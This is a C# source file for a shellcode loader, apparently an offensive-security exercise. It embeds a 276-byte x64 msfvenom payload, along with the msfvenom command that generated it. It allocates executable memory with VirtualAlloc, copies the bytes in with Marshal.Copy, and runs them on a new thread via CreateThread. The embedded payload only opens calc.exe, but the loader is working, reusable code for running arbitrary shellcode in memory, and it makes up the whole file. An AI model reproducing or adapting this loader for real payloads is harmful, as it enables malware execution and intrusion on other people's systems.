Shellc0deLoader.cs

using System;
using System.Runtime.InteropServices;
//From MicroSoft documentation: 
//  Most of the P/Invoke API is contained in two namespaces: 
//  System and System.Runtime.InteropServices.

// References:
// https://docs.microsoft.com/en-us/dotnet/standard/native-interop/pinvoke
// https://posts.specterops.io/offensive-p-invoke-leveraging-the-win32-api-from-managed-code-7eef4fdef16d

namespace Shellc0deLoader
{
    class Program
    {
        static void Main(string[] args)
        {
            // msfvenom -a x64 -p windows/x64/exec cmd=calc.exe -f csharp -o /tmp/cmd.txt
            byte[] x64sc = new byte[276] {
            0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
            0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
            0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
            0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
            0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
            0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
            0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
            0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
            0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
            0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
            0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
            0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
            0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
            0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
            0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
            0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
            0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
            0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
            0x63,0x2e,0x65,0x78,0x65,0x00 };

            // Instanciate the function as a regular managed method
            IntPtr funcAddr = VirtualAlloc(
                              IntPtr.Zero,
                              (ulong)x64sc.Length,
                              (uint)StateEnum.MEM_COMMIT,
                              (uint)Protection.PAGE_EXECUTE_READWRITE);

            // use Marshal.Copy() to copy our shellcode from managed memory into an unmanaged memory pointer
            Marshal.Copy(x64sc, 0, (IntPtr)(funcAddr), x64sc.Length);

            // new threads arguments
            IntPtr hThread = IntPtr.Zero;
            uint threadId = 0;
            IntPtr pinfo = IntPtr.Zero;

            // Invoke the function as a regular managed method to start anew thead and execute our payload
            hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
            return;
        }

        // Preprocessor directive for p/invokes
        #region pinvokes

        // Import kernel32.dll (containing the functions we need) 3 times and define the methods corresponding to the native functions.
        [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
        private static extern IntPtr VirtualAlloc(
            IntPtr lpStartAddr,
            ulong size,
            uint flAllocationType,
            uint flProtect);

        [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
        private static extern IntPtr CreateThread(
            uint lpThreadAttributes,
            uint dwStackSize,
            IntPtr lpStartAddress,
            IntPtr param,
            uint dwCreationFlags,
            ref uint lpThreadId);

        [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
        private static extern uint WaitForSingleObject(
            IntPtr hHandle,
            uint dwMilliseconds);
            
        // Enum all the things! (twice)
        public enum StateEnum
        {
            MEM_COMMIT = 0x1000,
            MEM_RESERVE = 0x2000,
            MEM_FREE = 0x10000
        }

        public enum Protection
        {
            PAGE_READONLY = 0x02,
            PAGE_READWRITE = 0x04,
            PAGE_EXECUTE = 0x10,
            PAGE_EXECUTE_READ = 0x20,
            PAGE_EXECUTE_READWRITE = 0x40,
        }
        #endregion
    }
}